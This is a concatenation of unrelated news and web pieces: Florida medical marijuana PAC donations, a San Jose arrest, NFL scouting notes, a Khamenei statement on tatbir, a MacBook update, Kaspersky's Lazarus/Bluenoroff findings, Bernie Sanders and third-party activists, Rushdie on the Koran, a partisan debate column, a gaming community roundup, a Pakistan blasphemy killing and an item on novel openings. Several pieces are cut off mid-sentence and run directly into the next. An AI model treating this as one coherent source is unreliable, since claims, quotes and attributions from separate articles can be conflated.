Senator Dana Young (R) Tampa PAC: Friends of Dana Young 9/28/2016 - $5,000 1/15/2017 - $10,000 Total: $15,000
Senator Young did not respond to our request for comment.
While the donations are perfectly legal, Florida election records reveal the same dispensary gave $60,000 to the PAC of Senator Rob Bradley, who's championing the same bill critics and advocates like Bill Monroe out.
Senator Rob Bradley (R) Orange Park
Donations from Costa Farms to Senator Rob Bradley's PAC, Friends of Families
Senator Rob Bradley (R) Orange Park PAC: Friends of Families 8/10/2015 - $10,000 12/27/2015 - $25,000 6/17/2016 - $5,000 10/28/2016 - $10,000 2/13/2017 - $10,000 Total: $60,000
“If you look at these money drops they happen around the time when lawmakers are in session and trying to decide on whether to open the market or not,” he said.
Bill Monroe
Monroe is trying to break into the industry as a dispensary management company that helps mom and pop operations who also want to get in on the estimated billion-dollar industry.
Records show Bradley's PAC picked up another $30,000 from three more dispensaries or its affiliates- who also stand to benefit if the market remains small.
Donations from other dispensaries in Florida to Friends of Families
Senator Rob Bradley (R) Orange Park 6/15/2016 - $5,000 - Surterra Holdings 1/7/2016 - $5,000 - CBD Equity, LLC 6/21/2016 - $5,000 - George Hackney 12/27/2016 - $10,000 - George Hackney 2/13/2017 - $5,000 - Knox Servicing, LLC Total: $30,000
“Anytime somebody is putting $25,000 in your back pocket, you can say it doesn’t have an influence but you the public out there you make the decision you think about it,” Monroe said after tracking donations for months.
Susan McManus - USF
"It might seem on the face of it as a conflict of interest," said Susan McManus, USF political science professor.
"What people who give money want is the ability to grab the ear or pick up the phone and personally talk to a legislature to, at least, plead their case on an issue. It's all about access,” she said.
University of South Florida political science professor Susan McManus explains how money and politics work.
Senator Bradley agreed to a skype interview, but backed out the day of the scheduled interview. His assistant said he had matters to attend to as a professional attorney. His office sent us the following statement:
Statement from Senator Bradley
“From the time I sponsored the Compassionate Medical Cannabis Act of 2014 until today, my sole focus in dealing with this issue is making sure that sick Floridians get safe and quality medicine. I receive campaign donations from a wide variety of friends, family, neighbors and businesses in Florida, and appreciate the confidence shown in my work by those who have given their hard earned money to my political efforts. Make no mistake, however. Campaign contributions do not distract from or influence my focus on creating a patient centered medical cannabis system that honors the will of the voters.”
Lawmakers and the state must have medical marijuana rules and regulations in place by September.
Watch marijuana money
Take a look at medical marijuana in 360, from seed to sale at Surterra Wellness in Tallahassee
More statewide investigations
http://www.abcactionnews.com/longform/behind-the-scenes-the-making-of-medical-marijuana-in-florida
http://www.abcactionnews.com/longform/florida-one-of-a-shrinking-list-of-states-with-no-laws-to-protect-firefighters-with-cancer
http://www.abcactionnews.com/longform/teachers-failing-state-certification-test-at-alarming-rates
http://www.abcactionnews.com/longform/ada-lawsuits-whos-driving-serial-suersArmed man in military clothes prompts gunfire from South Bay cop
Shannon Nathan Wong, 36, of San Jose, is suspected of trying to break into a house Wednesday while armed with an assault rifle and dressed in military-type clothing. A police officer who responded to the burglary-in-progress call fired a shot at him, but missed. less Shannon Nathan Wong, 36, of San Jose, is suspected of trying to break into a house Wednesday while armed with an assault rifle and dressed in military-type clothing. A police officer who responded to the... more Photo: Courtesy Of San Jose Police Photo: Courtesy Of San Jose Police Image 1 of / 1 Caption Close Armed man in military clothes prompts gunfire from South Bay cop 1 / 1 Back to Gallery
A 36-year-old man dressed in “full military-type clothing” and armed with an assault rifle was arrested in San Jose Wednesday after a police officer shot at him but missed when he was caught allegedly breaking into a house, officials said.
Around 12:52 a.m., officers arrived at the 300 block of Bautista Place following reports of a possible break-in, said San Jose Police spokesman Officer Albert Morales. Officers contacted the man, who was armed with an assault rifle, at the front door of the house.
While officers spoke to the man, he lifted his loaded AR-15 toward them, Morales said. One of the officers fired, but the man was not hit.
The suspect ran into the house, but was soon disarmed and taken into custody. He was also found in possession of a loaded Colt 1911 handgun, Morales said.
It was not immediately clear why the suspect, Shannon Nathan Wong, was dressed in military clothing.
Wong, of San Jose, was booked into Santa Clara County Jail.
The officer who fired at Wong — a 17-year veteran of the |
and SMU running back Traylon Shead. Clayton has a chance of being drafted late if he has a great workout, one scout said, but two other scouts were dubious about his chances of being drafted. Clayton had some success as a return man in 2012. He didn’t do much last season, though, and his career resume as a receiver is skimpy.
Shead was highly regarded at one point and recruited by Texas, but he was not very productive while at SMU. Scouts said he had ball security problems and wasn’t a consistent pass-protector. Three scouts said they expect Shead will not be drafted, but he could be brought to a camp and, if he does well, could be a candidate for the practice squad.
*The Bears are working with a sleep therapist in an attempt to maximize performance and enhance quality of life for their players. The therapist met with the team and had players fill out questionnaires about sleep patterns. Suggestions and sleep plans were drawn up for individuals. Some of the players who have gotten with the program are reporting feeling more energetic and alert.
Scout Talk
NFL scouts are already digging in deep on the 2015 draft. Here, in alphabetical order, are some of the senior offensive players scouts are saying are the top-rated prospects going into the college season.
Antwan Goodley, Baylor WR. He is a speed receiver who averaged 18.9 yards per catch, but he does not play in a traditional offense and will have to learn to run routes and get open. “It will be a transition for him,” one scout said. “But you like his speed and size.”
Ronald Martinez/Getty Images
Tre Jackson, Florida State G. Size, strength and toughness are his outstanding qualities. “He has had success against talented players,” said one scout. According to another, Jackson would be best in a power scheme. He also could have the versatility to play center in the NFL.
Cedric Ogbuehi, Texas A&M OT. If the 2015 draft were held today and no underclassmen were in it, Ogbuehi might be the No. 1 pick. He has played guard in the past and was a right tackle last year. This year, he is moving to the left side to replace Jake Matthews. One scout said he would not rate Ogbuehi as high as he rated Matthews, though. “He’s a good athlete, more of an athlete than a mauler,” he said. “But he has the athleticism to be a solid starting left tackle.” Another said he thought Ogbuehi will look better in a pro-style offense in the NFL.
Sean Mannion, Oregon State QB. He was a productive player last year, plays in a pro-style offense and has a lot of playing experience. But Mannion does not have the kind of skill set usually associated with a high draft pick. “He doesn’t have dynamic playmaking skills,” one scout said. Another said Mannion’s arm strength is lacking, but he praised him for his ability to get the ball out quickly. “He’s a thinker,” he said. “He’ll be good in the short passing game. He’s a West Coast offense type of quarterback.”
Nick O’Leary, Florida State TE. If he is the top-rated tight end as the draft approaches, it will be a weak tight end class. Scouts say he is more of an H-back than a traditional tight end. One compared him to Jim Kleinsasser. His best trait is his catching ability. O’Leary does not appear to have the type of speed and athleticism that creates mismatches.
Streeter Lecka/Getty Images
Bryce Petty, Baylor QB. It’s difficult to say how much of his production is due to the offensive system, but if Petty plays in 2014 like he did in 2013, he is likely to be a first-round pick. “He is talented and has the tools to develop, but he needs to clean things up,” one scout said.
Hot Reads
*If Pat McAfee can do what he says he can, he may succeed in hastening the retirement of Adam Vinatieri, as well as rule changes for kickers.
*Jim Harbaugh told his 49ers to “know your surroundings.” It’s especially important for Colin Kaepernick when he takes deep drops on 3rd-and-long.
*Why are the Cowboys blowing kisses at LeBron James? Jerry Jones heard James scores 27 points per game, and the Cowboys could use another 27 per game.
*If Johnny Manziel were to play for the Browns as well as the Harlem Globetrotters, he would be part of the sports franchise that has induced more despair than any other and the sports franchise that has induced more delight than any other.
*Patriots DB Devin McCourty said on NESN Live (h/t NFL.com) that Greg Schiano was a yeller and screamer and a tougher coach than Bill Belichick. That set him up to be chewed out by both his former coach and his present coach.
*In the new book Sidelined, Chuck Pagano, along with co-author Bruce Tollner, explains how a bout with leukemia made him a better man and the Colts a better team. And given that proceeds for the book are going to cancer research, Pagano’s story could ultimately make the world a better place.Tatbir is a wrongful act. I know some might say, “It would have been rightful if he had not talked about tatbir.” They might say, “What would you have to do with Tatbir?”, “Some people practice it, let them do so!” No! One cannot stay silent towards such unlawful actions. If they had propagated tatbir during the blessed auspicious life of Imam Khomeini (r.a)—like they have done over the past four or five years and continue to do—he would certainly speak against it.
It is wrongful that some people hit themselves on the head with daggers to break blood. What are they in search of? How can this be considered an act of mourning? Of course light drumming on the head with one’s own hand is a distinctive sign of mourning. You have seen it several times when people are stricken by grief, they hit own their chests or heads. This is a typical symbol of distress for mourning. But when have you ever seen a person, who is grief stricken by the loss of a dear loved one, take a dagger to their own head in order to draw blood? How can this be a form of mourning?
Tatbir [Qame Zani] is also a fabricated tradition. It is among issues that do not belong to the Islamic religion and undoubtedly God is not pleased with such a practice. Scholars among the last few centuries did not have the opportunity to speak out and declare it as an unlawful or wrongful act. However, today is the day of Islamic establishment and the day for the manifestation of Islam. We should not go along with actions that may introduce a small group of irrational, superstitious individuals to Muslims and non-Muslims alike, to be represented as the bulwark of the noble Islamic society--the society that loves the progeny of the prophet (pbuh) and has the honor to carry the names of the Imam of our Time (may our souls be sacrificed for him), Imam Hussain Ibn Ali (as) and Imam Ali Ibn Abi Talib (as).
The more I thought about it (tatbir), the more I truly realized I cannot overlook my responsibility of informing our dear people on Tatbir, which is certainly an act of wrongdoing built upon heresy. Do not practice it, I do not approve. If someone does anything to display their desire to practice Tatbir, I will be deeply disappointed in them. I am declaring this solemnly. This is certainly an unlawful action, one which Imam Hussain (as) would not be pleased with, as practiced today. I cannot fathom who would and based on what evidence would they establish such peculiar and wrongful traditions in Islamic societies and within our revolutionary society?
Tatbir is one of those concerns which not only lacks logical reasoning, but is also the nearest of things to superstition. Why do some promote such things? This is a great danger, which has to be carefully tended to within the world of religion and religious insight by the guardians of the faith.
Like I said, some people will say—certainly out of compassion--that it would have been better if I had not talked about Tatbir. No, I must speak out on it. I must address it. I have a responsibility greater than others and certainly others should talk about it too.
- Ayatollah Khamenei, June 07, 1994Apple has just launched a major update to its Retina MacBook line that will include faster processors, longer battery life and a new color option. Apple says that the new upgrades “make the thinnest and lightest MacBook even better.” The highlight of the update is an upgrade to Intel’s sixth-generation Core M 1.3-GHz processors that have Turbo Boost speeds of up to 3.1 GHz.
The new laptops also feature faster 1866 MHz memory, deliver an extra hour of battery life, and come in a new rose gold color option like the rose gold option we first saw last fall with the launch of the iPhone 6s. Apple also says that new “Intel HD Graphics 515 deliver up to 25% faster graphics performance, and faster PCIe-based flash storage makes everyday tasks feel snappier — from launching apps to opening files.”
DON’T MISS: Watch a man activate Siri by asking Amazon Echo to ask Google Now how to activate Siri
Other than that, however, the design of the Retina MacBook remains largely unchanged from last year. It still features only one USB Type-C port and it’s still got a 12-inch Retina display. It weighs in at just two pounds and is only 13.1 millimeters thin. The lone USB Type-C port is sure to be a disappointment to many users who had hoped that Apple would add at least one additional port to the laptop in its latest models.
The Retina MacBook isn’t the only MacBook line getting an update — when it comes to the MacBook Air, Apple says that it’s now “made 8GB of memory standard across all configurations of the 13-inch MacBook Air.”
You can buy the new MacBooks directly from Apple’s website starting right now.Kaspersky Lab found a “direct link” between the Lazarus group banking heist hackers and North Korea.
While Lazarus is a notorious cyber-espionage and sabotage group, a subgroup of Lazarus, called Bluenoroff by Kaspersky researchers, focuses only on financial attacks with the goal of “invisible theft without leaving a trace.”
The group has four main types of targets: financial institutions, casinos, companies involved in the development of financial trade software and crypto-currency businesses.
Although Lazarus has attacked manufacturing companies, media and financial institutions in at least 18 countries since 2009, Lazarus/Bluenoroff regrouped at the end of 2016, and Kaspersky Lab said the group “rushed into new countries, selecting mostly poorer and less developed locations, hitting smaller banks because they are, apparently, easy prey.”
Kaspersky has identified Bluenoroff watering hole attacks in Poland, Uruguay, Nigeria, the Russian Federation, Mexico, India, Peru, Norway and Australia.
Kaspersky Lab
The group seems to favor the strategy of silently integrating into running processes without breaking them. Kaspersky Lab says Bluenoroff’s malware “might be secretly deployed now in many other places, and it isn’t triggering any serious alarms because it’s much more quiet.”
The group starts by using a simple backdoor that doesn’t have much impact on the group if it is burned. If, however, the first stage backdoor reports an interesting infection, then the group deploys more advanced code and persistent backdoor, which is carefully protected from accidental detection.
But a hacker in the group did mess. Forensic analysis on a hacked server in Europe revealed that the attacker “used multiple IPs: from France to Korea, connecting via proxies and VPN servers. However, one short connection was made from a very unusual IP range, which originates in North Korea.”
The logs were likely not wiped because the hacker installed Monero cryptocurrency mining software, which locked up the system.
“The software so intensely consumed system resources that the system became unresponsive and froze,” Kaspersky Lab said. “This could be the reason why it was not properly cleaned, and the server logs were preserved.”
Kaspersky Lab said, “Lazarus is not just another APT actor,” but it didn’t go as far as to name the North Korean government. The security firm did say, however, “the level of sophistication is something that is not generally found in the cybercriminal world. It’s something that requires strict organization and control at all stages of operation. That’s why we think that Lazarus is not just another APT actor.”
This is not the first time researchers have suggested Lazarus is linked to North Korea. Some of the banking heists had similar coding techniques as those used in the 2014 Sony hack. Kaspersky didn’t rule out the possibility that the North Korean IP could be a false flag such as when the group inserted Russian commands into its malware, using words that were inaccurately translated via online tools, in an attempt to make attribution more difficult and to send researchers sniffing a false lead.
Nevertheless, Kaspersky researchers said, “This is the first time we have seen a direct link between Bluenoroff and North Korea.” But “is it North Korea behind all the Bluenoroff attacks after all? As researchers, we prefer to provide facts rather than speculations. Still, seeing IP in the C2 log, does make North Korea a key part of the Lazarus Bluenoroff equation.”
Kaspersky Lab detected Bluenoroff malware samples in March 2017, “showing that attackers have no intention of stopping.”
“We’re sure they’ll come back soon,” said Vitaly Kamluk, head of the Global Research and Analysis Team APAC at Kaspersky Lab. “In all, attacks like the ones conducted by Lazarus group show that a minor misconfiguration may result in a major security breach, which can potentially cost a targeted business hundreds of millions of dollars in loss. We hope that chief executives from banks, casinos and investment companies around the world will become wary of the name Lazarus.”
Kaspersky researchers discussed the group’s infiltration methods and relation to attacks on SWIFT software used in banks for transactions. Additionally, the security firm released “crucial Indicators of Compromise (IOC) and other data to help organizations search for traces of these attack groups in their corporate networks.”
Researchers urged “all organizations to carefully scan their networks for the presence of Lazarus malware samples, and if detected, to disinfect their systems and report the intrusion to law enforcement and incident response teams.”Sen. Bernard Sanders is giving the silent treatment to progressive activists clamoring for him to end his political marriage with Democrats and pilot a new party committed to making his progressive vision a reality.
Activists say they still hope Mr. Sanders will join their effort, but are miffed the Vermont independent is hewing so closely to the party that they say mistreated him in last year’s presidential primary.
They hope to give Mr. Sanders a nudge next week, dropping off 50,000 signed petitions at his Capitol Hill office calling on him to lead a new party and to take part in a town hall.
“Bernie only has to gain from this conversation,” Nick Brana, founder of Draft Bernie for a People’s Party, told The Washington Times. “These are people who really led on his campaign. They were making videos. They were on social media. These were really grass-roots leaders and so many of them have come to the opinion that we need a new party.”
The plea comes two weeks after Mr. Brana and left-wing activist Cornel West invited Mr. Sanders to attend the Sept. 9 town hall meeting, part of a three-day “Convergence Conference” at American University that also will include appearances from Jimmy Dore, a comedian and political commentator, and Kshama Sawant, who in 2013 became the first socialist elected to the Seattle City Council and helped lead the successful push for $15 per hour minimum wage in the city.
Mr. Sanders’ office did not respond to requests for comment for this story.
“Obviously, Bernie is dedicated toward defeating Trump and holding back the Republicans, but that is not the question — the question is instead what is the best way to do that?” Mr. Brana said, adding that even Mr. Sanders has struggled to unite a majority of Americans under the Democratic banner. “Nobody can unite the country inside a Democratic Party that remains as corporate as ever.”
Other progressive groups have steered clear of the “Draft Bernie” efforts, saying the country is locked into the two-party system.
“While we respect allies who may disagree, we stand with Bernie in the belief that the clearest path to fight economic and racial inequity in our country comes through working to reform the Democratic Party rather than creating a new party from scratch,” said Charles Chamberlain, executive director of Democracy for America.
Christy Setzer, a Democratic strategist who has worked on three presidential campaigns, said Mr. Sanders would risk his relevance if he joined the rebel movement.
“Sanders is wise to steer clear, lest his legacy be the guy with crazy hair and fringe politics who was only taken seriously for a brief moment in time,” she said.
For his part, Mr. Sanders has tried to overhaul the party from the inside.
He accepted a leadership post in the Senate Democratic caucus, endorsed Rep. Keith Ellison’s failed bid to become chairman of the Democratic National Committee and threw his support behind former Rep. Tom Perriello’s unsuccessful campaign for the Democratic gubernatorial nomination in Virginia.
More recently he has headlined events in Indianapolis, Detroit and Ohio, where he slammed President Trump’s response to the violence in Charlottesville, Virginia, reiterated his calls for Medicare-for-all and decried tax cuts for the rich
“Our job is not to allow them to divide us up, it is to bring our people together,” he said at one of the stops. “When we stand together it is black and white and Latino and when we fight for an agenda and a government that works for all of us, we can do extraordinary things.”
Mr. Sanders, who will be 79 in 2020, has refused to close the door on another bid for president.
On Wednesday, Mr. Brana, who worked on Mr. Sanders’ presidential campaign, said he hopes his former boss comes on board and in an email blast reminded his followers the invite to the Vermont senator is open ended.
“Progressives across the country are waiting to see if Bernie Sanders will sit down with the working people who fought and sacrificed for him in 2016,” Mr. Brana said.
Copyright © 2019 The Washington Times, LLC. Click here for reprint permission.He spent more than a decade in hiding after his 'blasphemous' novel led a Muslim leader to put a price on his head.
But almost 30 years after writing The Satanic Verses, Sir Salman Rushdie has risked angering Islamists again by saying he could not face reading the 'unenjoyable' Koran.
Asked if Islam's central text should be edited to make the religion seem'more humane', the Man Booker prize winner replied: 'Editing the Koran seems like a mug's game.
'It's not a very enjoyable book because most of it is not narrative.
'The big difference between the Old Testament, the New Testament and the Koran is that the Koran has the least narrative of them.
'Only about a quarter of the book is stories.
Sir Salman Rushdie (pictured) has risked sparking outrage with Islamists again by slating the Koran as 'not a very enjoyable book' because its lack of narrative content
'A third of the book is fulminations against the unbeliever and how they will rot in hell. Another third of the book is laws, how you should behave.
'So no I wouldn't edit it because then I'd have to read it, and I don't want to do that.'
Sir Salman, who was speaking at the Cheltenham Literature Festival at the weekend, added that he thinks the world would be a better place without any religion 'because it is an absurdity that gets people killed.'
The 70-year-old spent years living under 24-hour police protection after the publication of his 1988 novel, which was inspired in part by the life of the Prophet Mohammed.
It provoked protests across the world from outraged Muslims who claimed it insulted the prophet and accused Sir Salman of mocking their faith.
The row culminated in February 1989 with Sir Salman being condemned to death by Iran's Ayatollah Ruhollah Khomeini, who issued a fatwa – a legal pronouncement by an expert in religious law – calling for his execution.
Sir Rushdie is pictured with his book The Satanic Verses, which caused outrage among Muslims, with one leader putting a price on his head, in 2007
He offered a million US dollars to anyone who would murder the author.
Sir Salman later blamed the presence of his police guards – part of one of Britain's most costly and elaborate protection operations – for the breakdown of his marriage to American author Marianne Wiggins.
Though he issued an apology in Iran in 1990 – which was rejected – Sir Salman later condemned Islamic fundamentalism as a 'project of tyranny and unreason which wishes to freeze a certain view of Islamic culture in time'.
During his appearance at the literary festival, Sir Salman, whose latest novel The Golden House is set in his home city of New York, also commented on the presidency of Donald Trump.
The Indian-born writer said: 'There is a lot of us who were worried about the travel ban and America is a difficult country to get in and out of if you come from certain places or have certain types of ethnicity. [But] They can't stop me now because I have got a passport – and New York is not Trumpistan.'As Donald Trump's running mate, Indiana Gov. Mike Pence's role is to stabilize the ticket, attacking Clinton while balancing out Trump's wilder impulses. Most of the time, in other words, his job is to serve as a senior surrogate for the campaign. But Pence's performance at last night's vice presidential debate shows just how hard that is—and what sort of lies and evasions are inevitably required to defend Trump's statements and positions.
Throughout the evening, Pence came across as reasonably calm and steady. But he seemed to go out of his way to avoid directly defending Trump's record in any way.
Indeed, at one point, when challenged by Kaine to defend Trump's repeated praise of foreign dictators, Pence almost seemed to start in on a defense.
"Well, look, I can defend—I—I…" he stammered.
But Pence didn't offer a defense. He went back on the attack, saying, "I can make very clear to the American people, after traveling millions of miles as our secretary of state, after being the architect of the foreign policy of this administration, America is less safe today than it was the day that Barack Obama became president of the United States."
It's a remarkable moment, in which you can see Pence, Trump's vice presidential candidate, making the decision not to defend the top of the GOP ticket in real time.
And yet it was not the most remarkable moment in the debate. Over and over, Pence simply denied or refused to acknowledge things that Trump had said. Just to take one example:
KAINE: You've got to be tough on Russia. So let's start with not praising Vladimir Putin as a great leader. Donald Trump and Mike Pence have said he's a great leader. And Donald Trump has business... PENCE: No, we haven't.
Pence's denial is provably false.
Trump has repeatedly and publicly praised Putin. Last December, for example, Trump called Putin "bright and talented" and "he's running his country and at least he's a leader, unlike what we have in this country." In September of this year, Trump said that Putin "has been a leader far more than our president [Obama] has been."
Not only has Trump praised Putin's leadership, so has Mike Pence. Less than a month ago, Pence said, "I think it's inarguable that Vladimir Putin has been a stronger leader in his country than Barack Obama has been in this country." The remark was made on video, on national television. You can watch it here.
So Pence was unable or unwilling to defend Donald Trump—except by pretending that neither he nor Trump said what they most definitely said.
Yes, all politicians exaggerate, and most of them lie, some more than others. But Trump is wholly and completely untethered from reality, and so are his senior aides and surrogates. This is what makes the idea of a Trump presidency so worrying. With Trump as president, it would be impossible to have an objective discussion about, well, anything. And based on all the evidence so far, this would not only hold true with Trump himself, but with his circle of advisers and spokespersons, his policymakers and implementers. That is a path to policies that are not only flawed, but unfixable—and even, in some sense impossible to debate. It is a recipe for unbound government and creeping authoritarianism, a situation in which political officials do not acknowledge even the most basic realities, and thus cannot be held accountable in any meaningful way.
Indeed, it is more than a little bit telling, and perhaps frightening, that Pence lied about his and Trump's expressions of admiration for a Vladimir Putin, an authoritarian leader whose regime has been connected to the deaths of journalists critical of his rule. The authoritarian mindset often seeks to deny inconvenient truths, or stamp them out.
Bad policies and bad decisions made in good faith can be argued with, and even spin can be usually be addressed given a modest attachment to the truth. But Trump has no such attachment—and neither do his surrogates. And lacking that attachment to reality is practically a condition for defending Trump. The GOP nominee's persona and positions effectively require anyone in his orbit to detach from reality. As Pence's performance last night showed, there are only two ways to approach defending Trump: by not doing it, or by baldly lying.Dilbrad is coming to a newspaper near you!
Hello and welcome to the latest edition of the Giant Bomb Community Spotlight and I, ZombiePie, am once again honored to be your host this week. As the temperature rises for those of us in the Northern Hemisphere, the Giant Bomb Community still manages to amaze this week. The one thing I will say before we transition to the community created goodness is the surprising amount of Final Fantasy-based content this week. Whether it be the recent release of Final Fantasy XII: The Zodiac Age, or users looking back on older entries in the franchise, Final Fantasy was the MVP this week.
Giant Bomb Galleria
Dilbrad (By: Odd_Particle)
Over on Twitter Odd_Particle (a.k.a. Daniel Fu) created a trio of hilarious webcomics called "Dilbrad." Here's the other two comics he created this week.
Steal My Sunshine Doodle (By: @morehandclaps)
Inspired by Dan's recent Super Mario Sunshine video, "Steal My Sunshine" morehandclaps created this adorable doodle to brighten your day.
Clips Of The Week
I Made A Genesis Version Of Lockdown (By: @nta_luciana)
NTA_Luciana made a Genesis version of "Lockdown" on Soundcloud! Give it a listen and be amazed. She also made an AMAZING NES chiptune version of the theme from Deadly Premonition.
Giant Bomb SFV Season 2 Tournament (07/08/2017) (By: CattyG)
Here's an archive of the Giant Bomb community's last Street Fighter V tournament. Learn how you can join the fun over here. The next tournament is all set for 07/22/2017!
Warframe with the Giant Bomb Heavy INC Clan - Hunting For Harrow (By: @rapid)
If Mr. Rorie's dabble with Warframe during the 07/14/2017 UPF tickled your fancy, check out this video of our community clan tackling the Chains for Harrow quest! Sign up for their next adventure over here!
Community Activities
PAX WEST 2017 GIANT BOMB SHIRT (By: @fobwashed)
Fobwashed is gonna try to do another fan shirt for Giant Bomb at PAX West this year. In case you're interested, and plan on going to PAX West, check out his post to find out how you pick up his t-shirt design!
Best Of Blogs
Hit those buttons faster!
Official EVO 2017 (July 14-16) Games Line Up (By: @flstyle)
FLStyle has created an AMAZING community and game guide for the 2017 EVO Championship Series! Learn all about the event, and when to watch your favorite fighting games over here.
July Vita Lineup And Upcoming Titles (By: @blacklagoon)
Sweltering hot weather can't stop BlackLagoon from annotating every game set to release for the PlayStation Vita. Check out his blog and discover the many games set to release on the platform.
Gettin' Good At Guilty Gear Pt. 3: I Won? Nice! (By: @fistoh)
Fistoh continues his quest to get better at playing Guilty Gear Xrd -Revelator- competitively! This week he details his long and hard journey to getting his first online victory.
Japanese Splatoon 2 Hype (By: @darkbeatdk)
Looks like Splatoon 2 throws dark.
DarkbeatDK's latest blog is an interesting read on Nintendo's Japanese advertising campaign and media blitz for the release of Splatoon 2.
Getting Supergiant's Transistor For Free, Two Years Ago, Was The Worst Possible Way To Experience An Amazing Game (By: @grizzlybutts)
GrizzlyButts writes about the guilty feeling he has playing Transistor in 2017 despite never paying for it and struggling to enjoy it.
7 Years Later And I Finally Finished Final Fantasy XIII (By: @xanadu)
It took him seven years, but xanadu has finally beaten Final Fantasy XIII! Read what motivated him to try once more, and if his impressions of the game have changed.
The Order 1886: An Interactive Cinema Experience By Any Other Name, Or: Great Art In Service Of Mediocre Gameplay & Alex Was Wrong. Knack Is Not Bland And Boring. It Is A Profoundly Weird Game Created By A Rogue Artificial Intelligence (By: @bigsocrates)
BigSocrates recently played The Order: 1886 and describes it as being "great art, in service of mediocre gameplay." Learn more bout why he thinks this on his blog. BigSocrates also addressed the negative criticism for Knack by writing a case study on how "alien" its design is.
This scene killed me. No really, you're reading an article written by a ghost!
Fighting Final Fantasy X Parts 61-72: And On This Day My Obituary Read "Death By J-Pop" (By: @zombiepie)
Giant Bomb moderator ZombiePie wrote a +6,000-word update on his progress in Final Fantasy X because he is a crazy person. Read how "Suteki da ne" broke his spirit and will to live.
All-New Saturday Summaries 2017-07-15 (By: @mento)
A new Saturday means a new Summary from Mento, who contemplated The Adventures of Cookie & Cream, Salt & Sanctuary and Tales of Zestiria this week.
Join The Discussion
Final Fantasy is well represented in this edition of the Community Spotlight
Gaming "Accomplishments" That Confirms You're A Crazy Person? (By: @liquiddragon)
What is your "craziest" gaming accomplishment? Join our discussion on your most insane or time-consuming platinum or S-Rank in video games?
Thread For People Who Are Excited About FFXII In HD (By: @moregrammarplz)
Have you been enjoying Final Fantasy XII: The Zodiac Age? Feel free to share your impressions of the re-release of the highly venerated PS2 classic with the rest of the community.
Do Reviewers Need to Finish Video Games Before Reviewing Them? (By: @katygaga)
How do you rank the "hot tub wiener" strategy?
Our poll on whether or not reviewers need to finish games before reviewing them has over 400 votes! Vote now or forever hold your peace.
Is Playerunknown's Battlegrounds Any Fun Just Soloing?(By: @machofantastico)
How do you rank Playerunknown's Battlegrounds as a solo only experience? Explain if you think playing this game by yourself limits your experiences.
Do You Have Any Gaming Habits Specifically To Make It More Fun Or Challenging For Yourself? (By: @liquiddragon)
Do you have any gaming habits specifically to make it more fun or challenging for yourself? What is your video game version of collecting the money if you land on "Free Parking."
Sleeping Dogs is by far my favorite video game city environment.
What Games Have Made You Happy With Your VR Set (Oculus Rift, PSVR, Etc...) Purchase? (By: @videogameninja)
If you own a VR headset, what game convinced you that your purchase was worth it? Share what VR game is your go-to in justifying your purchase of a headset to skeptics.
Games With The Best Urban/City Environments? (By: @a_cute_squirtle)
Which games have had city or urban environments that "popped" or resonated with you? Annotate your favorite video game concrete jungles.
Useful User Reviews
Wrestling is great again with the release of Fire Pro Wrestling.
@kanerobot wrote a review for the PC early release of Fire Pro Wrestling World. On it he explains why it's a thoroughly fun time for wrestling fans alike!
. On it he explains why it's a thoroughly fun time for wrestling fans alike! @riostarwind reviews why he generally enjoyed his time with Grezzo's action RPG, Ever Oasis, regardless of its uneven design.
Wonderful Wikis
Video games were a mistake.
Pickpocketing Anatomy
Many thanks to @marino for bringing back the wonderfully weird tradition of concept pages which are too cool for Wikipedia! This week he saw fit to create a wiki page for games which allow you to pickpocket/steal the body parts of enemies while they are alive.The Miami Dolphins aren't done putting the finishing touches on their quarterback room.
NFL Media Insider Ian Rapoport reported that the team will work out a trio of free-agent passers including Rex Grossman, John Skelton and Brady Quinn on Monday, per a Dolphins source.
Matt Moore (shoulder) and Pat Devlin (hamstring) returned to practice on Sunday, but the team "isn't completely comfortable" with the situation behind starter Ryan Tannehill, per The Miami Herald.
Grossman spent the past four seasons with the Redskins but hasn't thrown a regular-season pass since 2011. Skelton floated around the league last season after three campaigns and 17 starts for the Arizona Cardinals.
Quinn is the former Notre Dame star and first-round pick of the Browns who has a television deal in place with Fox Sports if he doesn't catch on with a club. Patriots offensive coordinator Josh McDaniels also reportedly worked out Quinn in Denver earlier this month.
Moore stands out as the superior No. 2 option over anyone else named in this post, so whomever the Dolphins sign will serve as nothing more than a camp body praying for a roster spot.
UPDATE: The 'Fins signed Brady Quinn, NFL Media's Jeff Darlington reported Monday.
The latest Around The League Podcast answers every question about preseason action that you were too afraid to ask.A man with an intellectual disability, who had earlier been sentenced under a blasphemy charge but later acquitted due to his condition, was killed in Tando Adam on Friday, police said.
The 32-year-old, Atta Mohammad Buriro, was shot dead in the Kamal Buriro village near Tando Adam town.
Later in the evening, two attackers surrendered themselves to police and confessed to having killed Atta Mohammad "because he had committed blasphemy".
A police official confirmed the arrest of the two self-proclaimed killers, but told local reporters that they were investigating the murder from different angles.
Sharing details of the incident, the official said that the victim, who had only recently been released from captivity, had been bathing at an irrigation watercourse when two pillion riders shot at him, killing him on the spot.
His body had been handed over to relatives after a postmortem examination.
Talking to media persons, SSP Dr Farrukh Lanjhar said the victim was under the trial of blasphemy charges and was released on a bail in the light of a medical report which declared him intellectual disable.
The slain individual, according to police officials, had been booked under Section 295 C on Nov 28, 2012, on the complaint of a local lawyer, Altaf Hussain Junejo.
Tando Adam SHO Ghazi Rajar said the deceased had been released from Central Jail Hyderabad some 15 days ago.The days of slowly introducing a reader to a novel are over. Authors now believe that their first sentence is crucial if they are going to hold their reader's attention because they are so easily distracted by modern technology such as iPads.
Speaking at a literary festival, the novelists Simon Kernick and Richard Madeley agreed it was essential to “grab the reader round the throat” from the first line.
The days when writers such as Jane Austen could craft a novel from a gentle start were over, they added, arguing that too much time spent setting up a plot meant a book would no longer work.
At the Emirates Airline Festival of Literature in Dubai, Kernick, a thriller writer, told an audience: “For me, the most important bit is that you grip your reader from the start.
“I think people these days, as we all know, are so distracted in terms of iPads and iPhones that in order to get people to read a whole book you need to bring them straight into the story very quickly indeed.
“All good writers really need to think about the first line, it’s hugely important. If you spend too much time setting things up, these days it’s not going to work.”
Richard Madeley, a television presenter and author of Some Day I’ll Find You, said: “The days are gone when you could take a leisurely approach to writing. The stories of Jane Austen and so on are wonderful, but those days are gone.
“Other distractions mean you really have to grab the reader by the throat.”
Jojo Moyes, the bestselling author of Me Before You who was in the audience of the weekend’s panel event, said she had altered the way she started her books in response to feedback from readers. She added that she has only once |
April 6, 2003. British forces faced fierce resistance inside the city of Basra but kept driving forward taking over control of most of Iraq's second largest city after days of fighting. cc/cc/Chris Corder UPI | License Photo
